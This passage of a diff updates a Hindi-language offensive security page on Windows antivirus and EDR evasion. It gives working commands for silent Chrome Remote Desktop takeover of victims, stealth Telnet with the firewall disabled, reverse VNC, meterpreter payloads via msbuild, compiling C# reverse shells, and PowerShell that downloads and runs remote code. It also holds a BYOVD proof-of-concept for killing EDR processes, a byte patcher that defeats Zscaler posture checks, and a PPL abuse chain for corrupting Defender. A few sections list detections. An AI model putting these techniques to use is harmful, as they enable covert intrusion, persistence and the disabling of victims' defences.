निष्पादित करें: `"%PROGRAMFILES(X86)%\Google\Chrome Remote Desktop\CurrentVersion\remoting_start_host.exe" --code="YOUR_UNIQUE_CODE" --redirect-url="https://remotedesktop.google.com/_/oauthredirect" --name=%COMPUTERNAME% --pin=111111` (ध्यान दें कि पिन पैरामीटर जो GUI का उपयोग किए बिना पिन सेट करने की अनुमति देता है)। +जैसा कि [**this blog post**](https://trustedsec.com/blog/abusing-chrome-remote-desktop-on-red-team-operations-a-practical-guide) में वर्णित है, एक victim के पीसी पर Chrome Remote Desktop deploy करना और फिर उससे takeover और persistence बनाए रखना आसान है: +1. https://remotedesktop.google.com/ से डाउनलोड करें, "Set up via SSH" पर क्लिक करें, और फिर Windows के लिए MSI फ़ाइल डाउनलोड करने के लिए MSI फ़ाइल पर क्लिक करें। +2. victim पर silently installer चलाएँ (admin आवश्यक): `msiexec /i chromeremotedesktophost.msi /qn` +3. Chrome Remote Desktop पेज पर वापस जाकर next पर क्लिक करें। विज़ार्ड फिर आपको authorize करने के लिए कहेगा; जारी रखने के लिए Authorize बटन पर क्लिक करें। +4. दिए गए parameter को कुछ समायोजन के साथ execute करें: `"%PROGRAMFILES(X86)%\Google\Chrome Remote Desktop\CurrentVersion\remoting_start_host.exe" --code="YOUR_UNIQUE_CODE" --redirect-url="https://remotedesktop.google.com/_/oauthredirect" --name=%COMPUTERNAME% --pin=111111` (ध्यान दें pin param जो GUI का उपयोग किए बिना pin सेट करने की अनुमति देता है)。 + ## Advanced Evasion -Evasion एक बहुत जटिल विषय है, कभी-कभी आपको एक ही प्रणाली में कई विभिन्न टेलीमेट्री स्रोतों पर विचार करना पड़ता है, इसलिए परिपक्व वातावरण में पूरी तरह से अदृश्य रहना लगभग असंभव है। +Evasion एक बहुत ही जटिल विषय है, कभी-कभी आपको केवल एक सिस्टम में कई अलग-अलग telemetry स्रोतों को ध्यान में रखना पड़ता है, इसलिए mature environments में पूरी तरह से undetected रहना लगभग असंभव है। -आप जिस भी वातावरण का सामना करेंगे, उसके अपने ताकत और कमजोरियाँ होंगी। +हर environment जिसकी आप परीक्षा लेते हैं, उसकी अपनी मजबूत और कमजोरियाँ होंगी। + +मैं आपको प्रोत्साहित करता हूँ कि आप [@ATTL4S](https://twitter.com/DaniLJ94) की यह talk देखें, ताकि Advanced Evasion तकनीकों में foothold मिल सके। -मैं आपको [@ATTL4S](https://twitter.com/DaniLJ94) से इस वार्ता को देखने की अत्यधिक सिफारिश करता हूँ, ताकि आप अधिक उन्नत Evasion तकनीकों में एक पैर रख सकें। {{#ref}} https://vimeo.com/502507556?embedded=true&owner=32913914&source=vimeo_logo {{#endref}} -यह [@mariuszbit](https://twitter.com/mariuszbit) से Evasion in Depth के बारे में एक और शानदार वार्ता है। +यह [@mariuszbit](https://twitter.com/mariuszbit) की Evasion in Depth के बारे में एक और बहुत बढ़िया talk भी है। + {{#ref}} https://www.youtube.com/watch?v=IbA7Ung39o4 @@ -407,45 +418,45 @@ https://www.youtube.com/watch?v=IbA7Ung39o4 ### **Check which parts Defender finds as malicious** -आप [**ThreatCheck**](https://github.com/rasta-mouse/ThreatCheck) का उपयोग कर सकते हैं जो **बाइनरी के भागों को हटा देगा** जब तक कि यह **नहीं पता चलता कि Defender** किस भाग को दुर्भावनापूर्ण मानता है और इसे आपके लिए विभाजित करता है।\ -एक और उपकरण जो **समान कार्य करता है वह है** [**avred**](https://github.com/dobin/avred) जिसमें [**https://avred.r00ted.ch/**](https://avred.r00ted.ch/) पर सेवा प्रदान की जाती है। +आप [**ThreatCheck**](https://github.com/rasta-mouse/ThreatCheck) का उपयोग कर सकते हैं जो बाइनरी के हिस्सों को निकालते हुए यह पता लगाएगा कि Defender किस हिस्से को malicious मानता है और वह उसे आपको अलग करके बताएगा।\ +इसी काम को करने वाला एक और टूल है [**avred**](https://github.com/dobin/avred) जिसके पास एक open web सर्विस भी है [**https://avred.r00ted.ch/**](https://avred.r00ted.ch/) ### **Telnet Server** -Windows10 तक, सभी Windows में एक **Telnet सर्वर** होता था जिसे आप (व्यवस्थापक के रूप में) स्थापित कर सकते थे: +Windows10 के पहले तक, सभी Windows में एक **Telnet server** आता था जिसे आप install कर सकते थे (administrator के रूप में) ऐसा करके: ```bash pkgmgr /iu:"TelnetServer" /quiet ``` -सिस्टम शुरू होने पर इसे **शुरू** करें और इसे अभी **चलाएं**: +सिस्टम शुरू होने पर इसे **start** करें और अभी इसे **run** करें: ```bash sc config TlntSVR start= auto obj= localsystem ``` -**टेलनेट पोर्ट बदलें** (छिपा हुआ) और फ़ायरवॉल बंद करें: +**Change telnet port** (stealth) और firewall को अक्षम करें: ``` tlntadmn config port=80 netsh advfirewall set allprofiles state off ``` ### UltraVNC -इसे डाउनलोड करें: [http://www.uvnc.com/downloads/ultravnc.html](http://www.uvnc.com/downloads/ultravnc.html) (आपको बिन डाउनलोड चाहिए, सेटअप नहीं) +इसे डाउनलोड करें: [http://www.uvnc.com/downloads/ultravnc.html](http://www.uvnc.com/downloads/ultravnc.html) (आपको bin डाउनलोड चाहिए, setup नहीं) -**HOST पर**: _**winvnc.exe**_ को चलाएं और सर्वर को कॉन्फ़िगर करें: +**ON THE HOST**: _**winvnc.exe**_ को चलाएँ और सर्वर कॉन्फ़िगर करें: -- विकल्प _Disable TrayIcon_ को सक्षम करें +- ऑप्शन _Disable TrayIcon_ सक्षम करें - _VNC Password_ में एक पासवर्ड सेट करें - _View-Only Password_ में एक पासवर्ड सेट करें -फिर, बाइनरी _**winvnc.exe**_ और **नए** बनाए गए फ़ाइल _**UltraVNC.ini**_ को **victim** के अंदर ले जाएं +फिर, बाइनरी _**winvnc.exe**_ और **नई** बनाई गई फ़ाइल _**UltraVNC.ini**_ को **victim** के अंदर रखें #### **Reverse connection** -**attacker** को अपने **host** के अंदर बाइनरी `vncviewer.exe -listen 5900` चलानी चाहिए ताकि यह एक रिवर्स **VNC connection** पकड़ने के लिए **तैयार** हो सके। फिर, **victim** के अंदर: winvnc डेमन `winvnc.exe -run` शुरू करें और `winwnc.exe [-autoreconnect] -connect ::5900` चलाएं +**attacker** को अपने **host** पर बाइनरी `vncviewer.exe -listen 5900` चलानी चाहिए ताकि यह reverse **VNC connection** पकड़ने के लिए तैयार रहे। फिर, **victim** के अंदर: winvnc daemon `winvnc.exe -run` शुरू करें और `winwnc.exe [-autoreconnect] -connect ::5900` चलाएँ -**WARNING:** स्टेल्थ बनाए रखने के लिए आपको कुछ चीजें नहीं करनी चाहिए +**WARNING:** छुपने के लिए आपको कुछ चीजें नहीं करनी चाहिए -- यदि `winvnc` पहले से चल रहा है तो इसे शुरू न करें या आप [popup](https://i.imgur.com/1SROTTl.png) को ट्रिगर करेंगे। जांचें कि यह चल रहा है `tasklist | findstr winvnc` के साथ -- यदि `UltraVNC.ini` उसी निर्देशिका में नहीं है तो `winvnc` शुरू न करें या यह [config window](https://i.imgur.com/rfMQWcf.png) को खोल देगा -- मदद के लिए `winvnc -h` न चलाएं या आप [popup](https://i.imgur.com/oc18wcu.png) को ट्रिगर करेंगे +- यदि `winvnc` पहले से चल रहा है तो इसे शुरू न करें वरना आप एक [popup](https://i.imgur.com/1SROTTl.png) ट्रिगर कर देंगे। जांचें कि यह चल रहा है या नहीं: `tasklist | findstr winvnc` +- उसी डायरेक्टरी में `UltraVNC.ini` के बिना `winvnc` न चलाएँ वरना यह [the config window](https://i.imgur.com/rfMQWcf.png) खोलेगा +- मदद के लिए `winvnc -h` न चलाएँ वरना आप एक [popup](https://i.imgur.com/oc18wcu.png) ट्रिगर कर देंगे ### GreatSCT @@ -457,7 +468,7 @@ cd GreatSCT/setup/ cd .. ./GreatSCT.py ``` -Inside GreatSCT: +GreatSCT के अंदर: ``` use 1 list #Listing available payloads @@ -467,23 +478,23 @@ sel lport 4444 generate #payload is the default name #This will generate a meterpreter xml and a rcc file for msfconsole ``` -अब **लिस्टर शुरू करें** `msfconsole -r file.rc` के साथ और **xml पेलोड** को निष्पादित करें: +अब **lister को शुरू करें** `msfconsole -r file.rc` के साथ और **execute** करें **xml payload** के साथ: ``` C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe payload.xml ``` -**वर्तमान डिफेंडर प्रक्रिया को बहुत तेजी से समाप्त कर देगा।** +**वर्तमान Defender प्रक्रिया को बहुत जल्दी समाप्त कर देगा।** -### अपना खुद का रिवर्स शेल संकलित करना +### अपना खुद का reverse shell कम्पाइल करना https://medium.com/@Bank\_Security/undetectable-c-c-reverse-shells-fab4c0ec4f15 -#### पहला C# रिवर्स शेल +#### पहला C# Revershell -इसे संकलित करें: +इसे निम्न कमांड के साथ कम्पाइल करें: ``` c:\windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /t:exe /out:back2.exe C:\Users\Public\Documents\Back1.cs.txt ``` -इसे इस के साथ उपयोग करें: +इसे निम्न के साथ उपयोग करें: ``` back.exe ``` @@ -560,10 +571,14 @@ catch (Exception err) { } } } ``` -### C# का उपयोग करते हुए कंपाइलर +### C# में कम्पाइलर का उपयोग ``` C:\Windows\Microsoft.NET\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt.txt REV.shell.txt ``` +[REV.txt: https://gist.github.com/BankSecurity/812060a13e57c815abe21ef04857b066](https://gist.github.com/BankSecurity/812060a13e57c815abe21ef04857b066) + +[REV.shell: https://gist.github.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639](https://gist.github.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639) + स्वचालित डाउनलोड और निष्पादन: ```csharp 64bit: @@ -576,7 +591,7 @@ powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.g https://gist.github.com/BankSecurity/469ac5f9944ed1b8c39129dc0037bb8f {{#endref}} -C# obfuscators list: [https://github.com/NotPrab/.NET-Obfuscator](https://github.com/NotPrab/.NET-Obfuscator) +C# obfuscators सूची: [https://github.com/NotPrab/.NET-Obfuscator](https://github.com/NotPrab/.NET-Obfuscator) ### C++ ``` @@ -591,11 +606,11 @@ i686-w64-mingw32-g++ prometheus.cpp -o prometheus.exe -lws2_32 -s -ffunction-sec - [http://www.labofapenetrationtester.com/2016/05/practical-use-of-javascript-and-com-for-pentesting.html](http://www.labofapenetrationtester.com/2016/05/practical-use-of-javascript-and-com-for-pentesting.html) - [http://niiconsulting.com/checkmate/2018/06/bypassing-detection-for-a-reverse-meterpreter-shell/](http://niiconsulting.com/checkmate/2018/06/bypassing-detection-for-a-reverse-meterpreter-shell/) -### Python का उपयोग करके इंजेक्टर बनाने का उदाहरण: +### python का उपयोग करके build injectors का उदाहरण: - [https://github.com/cocomelonc/peekaboo](https://github.com/cocomelonc/peekaboo) -### अन्य उपकरण +### अन्य टूल्स ```bash # Veil Framework: https://github.com/Veil-Framework/Veil @@ -624,24 +639,24 @@ https://github.com/praetorian-code/vulcan - [https://github.com/Seabreg/Xeexe-TopAntivirusEvasion](https://github.com/Seabreg/Xeexe-TopAntivirusEvasion) -## Bring Your Own Vulnerable Driver (BYOVD) – Killing AV/EDR From Kernel Space +## Bring Your Own Vulnerable Driver (BYOVD) – Kernel Space से AV/EDR को निष्क्रिय करना -Storm-2603 ने **Antivirus Terminator** नामक एक छोटे कंसोल उपयोगिता का उपयोग किया ताकि रैंसमवेयर को गिराने से पहले एंडपॉइंट सुरक्षा को निष्क्रिय किया जा सके। यह उपकरण **अपना खुद का कमजोर लेकिन *साइन किया हुआ* ड्राइवर** लाता है और इसका दुरुपयोग करता है ताकि विशेषाधिकार प्राप्त कर्नेल संचालन किए जा सकें जिन्हें Protected-Process-Light (PPL) AV सेवाएँ भी ब्लॉक नहीं कर सकतीं। +Storm-2603 ने एक छोटे कंसोल यूटिलिटी **Antivirus Terminator** का उपयोग करके endpoint सुरक्षा को डिसेबल किया और फिर ransomware गिराया। यह टूल अपना **own vulnerable but *signed* driver** लाता है और इसे मिसयूज़ करके privileged kernel ऑपरेशंस करता है जिन्हें Protected-Process-Light (PPL) AV सेवाएं भी ब्लॉक नहीं कर पातीं। Key take-aways -1. **Signed driver**: डिस्क पर वितरित फ़ाइल `ServiceMouse.sys` है, लेकिन बाइनरी वास्तव में Antiy Labs के “System In-Depth Analysis Toolkit” से वैध रूप से साइन किया गया ड्राइवर `AToolsKrnl64.sys` है। क्योंकि ड्राइवर में एक वैध Microsoft हस्ताक्षर है, यह तब भी लोड होता है जब Driver-Signature-Enforcement (DSE) सक्षम होता है। +1. **Signed driver**: डिस्क पर जो फाइल डिलीवर की गई थी वह `ServiceMouse.sys` है, लेकिन बाइनरी Antiy Labs’ के “System In-Depth Analysis Toolkit” का वैध रूप से साइन किया हुआ ड्राइवर `AToolsKrnl64.sys` है। क्योंकि ड्राइवर पर वैध Microsoft सिग्नेचर है यह तब भी लोड हो जाता है जब Driver-Signature-Enforcement (DSE) सक्षम हो। 2. **Service installation**: ```powershell sc create ServiceMouse type= kernel binPath= "C:\Windows\System32\drivers\ServiceMouse.sys" sc start ServiceMouse ``` -पहली पंक्ति ड्राइवर को **कर्नेल सेवा** के रूप में पंजीकृत करती है और दूसरी इसे शुरू करती है ताकि `\\.\ServiceMouse` उपयोगकर्ता भूमि से सुलभ हो सके। +पहली लाइन ड्राइवर को **kernel service** के रूप में रजिस्टर करती है और दूसरी लाइन इसे शुरू करती है ताकि `\\.\ServiceMouse` user land से एक्सेस किया जा सके। 3. **IOCTLs exposed by the driver** | IOCTL code | Capability | |-----------:|-----------------------------------------| -| `0x99000050` | PID द्वारा एक मनमाना प्रक्रिया को समाप्त करें (Defender/EDR सेवाओं को समाप्त करने के लिए उपयोग किया जाता है) | -| `0x990000D0` | डिस्क पर एक मनमाना फ़ाइल को हटाएं | -| `0x990001D0` | ड्राइवर को अनलोड करें और सेवा को हटा दें | +| `0x99000050` | PID द्वारा किसी भी प्रक्रिया को समाप्त करना (Defender/EDR सेवाओं को मारने के लिए उपयोग किया गया) | +| `0x990000D0` | डिस्क पर किसी भी फाइल को डिलीट करना | +| `0x990001D0` | ड्राइवर अनलोड करना और सेवा को हटाना | Minimal C proof-of-concept: ```c @@ -655,28 +670,28 @@ CloseHandle(hDrv); return 0; } ``` -4. **Why it works**: BYOVD पूरी तरह से उपयोगकर्ता-मोड सुरक्षा को छोड़ देता है; कर्नेल में निष्पादित कोड *संरक्षित* प्रक्रियाओं को खोल सकता है, उन्हें समाप्त कर सकता है, या PPL/PP, ELAM या अन्य हार्डनिंग सुविधाओं की परवाह किए बिना कर्नेल वस्तुओं के साथ छेड़छाड़ कर सकता है। +4. **Why it works**: BYOVD user-mode सुरक्षा को पूरी तरह स्किप कर देता है; kernel में चलने वाला कोड *protected* प्रक्रियाओं को खोल सकता है, उन्हें समाप्त कर सकता है, या kernel ऑब्जेक्ट्स में छेड़छाड़ कर सकता है, PPL/PP, ELAM या अन्य हार्डनिंग फीचर की परवाह किए बिना। Detection / Mitigation -• Microsoft की कमजोर-ड्राइवर ब्लॉक सूची (`HVCI`, `Smart App Control`) को सक्षम करें ताकि Windows `AToolsKrnl64.sys` को लोड करने से मना कर दे। -• नए *कर्नेल* सेवाओं के निर्माण की निगरानी करें और जब कोई ड्राइवर एक विश्व-लिखने योग्य निर्देशिका से लोड किया जाता है या अनुमति सूची में नहीं होता है तो अलर्ट करें। -• कस्टम डिवाइस ऑब्जेक्ट्स के लिए उपयोगकर्ता-मोड हैंडल की निगरानी करें, इसके बाद संदिग्ध `DeviceIoControl` कॉल्स के साथ। +• Microsoft की vulnerable-driver block list (`HVCI`, `Smart App Control`) सक्षम करें ताकि Windows `AToolsKrnl64.sys` लोड करने से मना कर दे। +• नए *kernel* services के निर्माण की मॉनिटरिंग करें और अलर्ट जारी करें जब कोई ड्राइवर world-writable डायरेक्टरी से लोड हो या allow-list पर मौजूद न हो। +• custom device objects के लिए user-mode handles और उसके बाद संदिग्ध `DeviceIoControl` कॉल्स पर नज़र रखें। ### Bypassing Zscaler Client Connector Posture Checks via On-Disk Binary Patching -Zscaler का **Client Connector** डिवाइस-पोस्टर नियमों को स्थानीय रूप से लागू करता है और परिणामों को अन्य घटकों के साथ संवाद करने के लिए Windows RPC पर निर्भर करता है। दो कमजोर डिज़ाइन विकल्प एक पूर्ण बायपास को संभव बनाते हैं: +Zscaler का **Client Connector** device-posture नियम लोकली लागू करता है और Windows RPC पर भरोसा करके परिणामों को अन्य कंपोनेंट्स को बताता है। दो कमजोर डिजाइन विकल्प पूरी बायपास को संभव बनाते हैं: -1. पोस्टर मूल्यांकन **पूरी तरह से क्लाइंट-साइड** होता है (एक बूलियन सर्वर को भेजा जाता है)। -2. आंतरिक RPC एंडपॉइंट केवल यह सत्यापित करते हैं कि कनेक्टिंग निष्पादन योग्य **Zscaler द्वारा साइन किया गया है** (के माध्यम से `WinVerifyTrust`)। +1. Posture मूल्यांकन पूरी तरह से **client-side** पर होता है (एक boolean सर्वर को भेजा जाता है)। +2. Internal RPC endpoints केवल यह सत्यापित करते हैं कि कनेक्ट करने वाला executable **signed by Zscaler** है (via `WinVerifyTrust`)। -**चार साइन किए गए बाइनरीज़ को डिस्क पर पैच करके** दोनों तंत्रों को निष्क्रिय किया जा सकता है: +डिस्क पर चार signed binaries को पैच करके दोनों मेकैनिज्म को निष्क्रिय किया जा सकता है: | Binary | Original logic patched | Result | -|--------|------------------------|---------| -| `ZSATrayManager.exe` | `devicePostureCheck() → return 0/1` | हमेशा `1` लौटाता है ताकि हर जांच अनुपालन में हो | -| `ZSAService.exe` | `WinVerifyTrust` के लिए अप्रत्यक्ष कॉल | NOP-ed ⇒ कोई भी (यहां तक कि असाइन किया हुआ) प्रक्रिया RPC पाइप्स से बंध सकती है | -| `ZSATrayHelper.dll` | `verifyZSAServiceFileSignature()` | `mov eax,1 ; ret` द्वारा प्रतिस्थापित | -| `ZSATunnel.exe` | टनल पर अखंडता जांच | शॉर्ट-सर्किट किया गया | +|--------|------------------------|--------| +| `ZSATrayManager.exe` | `devicePostureCheck() → return 0/1` | हमेशा `1` लौटाता है ताकि हर चेक compliant हो | +| `ZSAService.exe` | Indirect call to `WinVerifyTrust` | NOP-ed ⇒ कोई भी (यहाँ तक कि unsigned) process RPC पाइप्स से bind कर सकता है | +| `ZSATrayHelper.dll` | `verifyZSAServiceFileSignature()` | `mov eax,1 ; ret` से प्रतिस्थापित | +| `ZSATunnel.exe` | टनेल पर integrity checks | Short-circuited | Minimal patcher excerpt: ```python @@ -692,18 +707,93 @@ else: f.seek(off) f.write(replacement) ``` -मूल फ़ाइलों को बदलने और सेवा स्टैक को पुनः प्रारंभ करने के बाद: +मूल फाइलों को प्रतिस्थापित करने और सर्विस स्टैक को पुनरारंभ करने के बाद: -* **सभी** स्थिति जांच **हरा/अनुपालन** प्रदर्शित करती हैं। -* बिना हस्ताक्षर या संशोधित बाइनरी नामित-पाइप RPC एंडपॉइंट्स (जैसे `\\RPC Control\\ZSATrayManager_talk_to_me`) को खोल सकते हैं। -* समझौता किया गया होस्ट Zscaler नीतियों द्वारा परिभाषित आंतरिक नेटवर्क तक बिना किसी प्रतिबंध के पहुंच प्राप्त करता है। +* **सभी** पोस्टचर चेक्स **हरा/संगत** दिखाते हैं। +* अनसाइन किए गए या संशोधित बाइनरी नामित-पाइप RPC endpoints खोल सकती हैं (उदा. `\\RPC Control\\ZSATrayManager_talk_to_me`)। +* समझौता किया गया होस्ट Zscaler नीतियों द्वारा परिभाषित आंतरिक नेटवर्क तक असीमित पहुँच प्राप्त कर लेता है। -यह केस स्टडी दिखाती है कि कैसे पूरी तरह से क्लाइंट-साइड ट्रस्ट निर्णय और सरल सिग्नेचर जांच को कुछ बाइट पैच के साथ पराजित किया जा सकता है। +यह केस स्टडी दिखाती है कि कैसे केवल क्लाइंट-साइड ट्रस्ट निर्णय और सरल सिग्नेचर चेक कुछ बाइट पैचेस से हराए जा सकते हैं। -## संदर्भ +## Protected Process Light (PPL) का दुरुपयोग करके AV/EDR को LOLBINs से छेड़छाड़ करना + +Protected Process Light (PPL) एक signer/level hierarchy लागू करता है ताकि केवल समान या उच्च-स्तर के protected processes ही एक-दूसरे को छेड़ सकें। आक्रामक दृष्टिकोण से, यदि आप वैध रूप से एक PPL-सक्षम बाइनरी लॉन्च कर सकते हैं और इसके arguments नियंत्रित कर सकते हैं, तो आप सामान्य कार्यक्षमता (जैसे logging) को AV/EDR द्वारा उपयोग किए जाने वाले protected डायरेक्टरीज़ के खिलाफ एक सीमित, PPL-समर्थित write primitive में बदल सकते हैं। + +What makes a process run as PPL +- लक्षित EXE (और कोई भी लोडेड DLLs) PPL-सक्षम EKU के साथ साइन किए गए होने चाहिए। +- प्रोसेस को CreateProcess के साथ बनाए जाना चाहिए और flags का उपयोग होना चाहिए: `EXTENDED_STARTUPINFO_PRESENT | CREATE_PROTECTED_PROCESS`। +- एक संगत protection level का अनुरोध किया जाना चाहिए जो बाइनरी के signer से मेल खाता हो (उदा., anti-malware signers के लिए `PROTECTION_LEVEL_ANTIMALWARE_LIGHT`, Windows signers के लिए `PROTECTION_LEVEL_WINDOWS`). गलत लेवल पर creation विफल हो जाएगा। + +See also a broader intro to PP/PPL and LSASS protection here: + +{{#ref}} +stealing-credentials/credentials-protections.md +{{#endref}} + +Launcher tooling +- ओपन-सोर्स सहायक: CreateProcessAsPPL (प्रोटेक्शन लेवल चुनता है और तर्कों को लक्ष्य EXE पर अग्रेषित करता है): +- [https://github.com/2x7EQ13/CreateProcessAsPPL](https://github.com/2x7EQ13/CreateProcessAsPPL) +- उपयोग पैटर्न: +```text +CreateProcessAsPPL.exe [args...] +# example: spawn a Windows-signed component at PPL level 1 (Windows) +CreateProcessAsPPL.exe 1 C:\Windows\System32\ClipUp.exe +# example: spawn an anti-malware signed component at level 3 +CreateProcessAsPPL.exe 3 +``` +LOLBIN प्रिमिटिव: ClipUp.exe +- The signed system binary `C:\Windows\System32\ClipUp.exe` स्वयं स्पॉन करता है और कॉलर-निर्दिष्ट पथ पर लॉग फ़ाइल लिखने के लिए एक पैरामीटर स्वीकार करता है। +- जब इसे PPL प्रोसेस के रूप में लॉन्च किया जाता है, तो फ़ाइल लेखन PPL समर्थन के साथ होता है। +- ClipUp स्पेस वाले पथों को पार्स नहीं कर सकता; सामान्यतः संरक्षित स्थानों की ओर इंगित करने के लिए 8.3 short paths का उपयोग करें। + +8.3 short path helpers +- शॉर्ट नाम सूची करने के लिए: `dir /x` प्रत्येक parent directory में। +- cmd में शॉर्ट पथ निकालने के लिए: `for %A in ("C:\ProgramData\Microsoft\Windows Defender\Platform") do @echo %~sA` + +Abuse chain (abstract) +1) PPL-capable LOLBIN (ClipUp) को `CREATE_PROTECTED_PROCESS` के साथ एक लॉन्चर (उदा., CreateProcessAsPPL) का उपयोग करके लॉन्च करें। +2) ClipUp को log-path argument पास करें ताकि एक फ़ाइल protected AV directory (उदा., Defender Platform) में बन जाए। आवश्यकता होने पर 8.3 short names का उपयोग करें। +3) अगर target binary सामान्यतः AV द्वारा चलने के दौरान खुला/लॉक रहता है (उदा., MsMpEng.exe), तो AV के शुरू होने से पहले बूट पर लिखने का शेड्यूल करने के लिए ऐसा auto-start service इंस्टॉल करें जो भरोसेमंद रूप से पहले चले। Process Monitor (boot logging) के साथ बूट ऑर्डरिंग को मान्य करें। +4) रिबूट पर PPL-backed लेखन उस समय होता है जब AV अपने बाइनरी लॉक करने से पहले, जिससे target फ़ाइल करप्ट हो सकती है और स्टार्टअप रोक दिया जाता है। + +Example invocation (paths redacted/shortened for safety): +```text +# Run ClipUp as PPL at Windows signer level (1) and point its log to a protected folder using 8.3 names +CreateProcessAsPPL.exe 1 C:\Windows\System32\ClipUp.exe -ppl C:\PROGRA~3\MICROS~1\WINDOW~1\Platform\\samplew.dll +``` +नोट्स और सीमाएँ +- आप ClipUp द्वारा लिखी जाने वाली सामग्री को केवल स्थान के अलावा नियंत्रित नहीं कर सकते; यह primitive सटीक सामग्री इंजेक्शन के बजाय भ्रष्ट करने के लिए उपयुक्त है। +- एक सेवा को स्थापित/शुरू करने और रिबूट विंडो के लिए local admin/SYSTEM की आवश्यकता होती है। +- टाइमिंग महत्वपूर्ण है: लक्ष्य खुला नहीं होना चाहिए; बूट-टाइम निष्पादन फ़ाइल लॉक से बचाता है। + +डिटेक्शंस +- असामान्य आर्ग्युमेंट्स के साथ `ClipUp.exe` की प्रक्रिया बनना, विशेषकर non-standard launchers द्वारा parent होने पर, बूट के आस-पास। +- नए सर्विसेज़ जो संदिग्ध बाइनरीज़ को auto-start के लिए कॉन्फ़िगर की गई हों और लगातार Defender/AV से पहले शुरू हो रही हों। Defender startup failures से पहले की service creation/modification की जांच करें। +- Defender binaries/Platform निर्देशिकाओं पर फ़ाइल अखंडता मॉनिटरिंग; protected-process flags वाले प्रक्रियाओं द्वारा अनपेक्षित फ़ाइल निर्माण/परिवर्तन। +- ETW/EDR telemetry: उन प्रक्रियाओं को देखें जो `CREATE_PROTECTED_PROCESS` के साथ बनाई गई हों और non-AV बाइनरीज़ द्वारा असामान्य PPL स्तर का उपयोग। + +निवारण +- WDAC/Code Integrity: यह सीमित करें कि कौन‑से signed binaries PPL के रूप में और किन parent processes के अंतर्गत चल सकते हैं; वैध संदर्भों के बाहर ClipUp के invocation को ब्लॉक करें। +- Service hygiene: auto-start सेवाओं के creation/modification को सीमित करें और start-order में बदलाव की निगरानी करें। +- सुनिश्चित करें कि Defender tamper protection और early-launch protections सक्षम हों; ऐसे startup errors की जांच करें जो बाइनरी करप्शन का संकेत देते हों। +- यदि आपके वातावरण के अनुकूल हो तो security tooling होस्ट करने वाले वॉल्यूम पर 8.3 short-name generation को अक्षम करने पर विचार करें (पूरी तरह परीक्षण करें)। + +References for PPL and tooling +- Microsoft Protected Processes overview: https://learn.microsoft.com/windows/win32/procthread/protected-processes +- EKU reference: https://learn.microsoft.com/openspecs/windows_protocols/ms-ppsec/651a90f3-e1f5-4087-8503-40d804429a88 +- Procmon boot logging (ordering validation): https://learn.microsoft.com/sysinternals/downloads/procmon +- CreateProcessAsPPL launcher: https://github.com/2x7EQ13/CreateProcessAsPPL +- Technique writeup (ClipUp + PPL + boot-order tamper): https://www.zerosalarium.com/2025/08/countering-edrs-with-backing-of-ppl-protection.html + +## References - [Unit42 – New Infection Chain and ConfuserEx-Based Obfuscation for DarkCloud Stealer](https://unit42.paloaltonetworks.com/new-darkcloud-stealer-infection-chain/) - [Synacktiv – Should you trust your zero trust? Bypassing Zscaler posture checks](https://www.synacktiv.com/en/publications/should-you-trust-your-zero-trust-bypassing-zscaler-posture-checks.html) - [Check Point Research – Before ToolShell: Exploring Storm-2603’s Previous Ransomware Operations](https://research.checkpoint.com/2025/before-toolshell-exploring-storm-2603s-previous-ransomware-operations/) +- [Microsoft – Protected Processes](https://learn.microsoft.com/windows/win32/procthread/protected-processes) +- [Microsoft – EKU reference (MS-PPSEC)](https://learn.microsoft.com/openspecs/windows_protocols/ms-ppsec/651a90f3-e1f5-4087-8503-40d804429a88) +- [Sysinternals – Process Monitor](https://learn.microsoft.com/sysinternals/downloads/procmon) +- [CreateProcessAsPPL launcher](https://github.com/2x7EQ13/CreateProcessAsPPL) +- [Zero Salarium – Countering EDRs With The Backing Of Protected Process Light (PPL)](https://www.zerosalarium.com/2025/08/countering-edrs-with-backing-of-ppl-protection.html) {{#include ../banners/hacktricks-training.md}}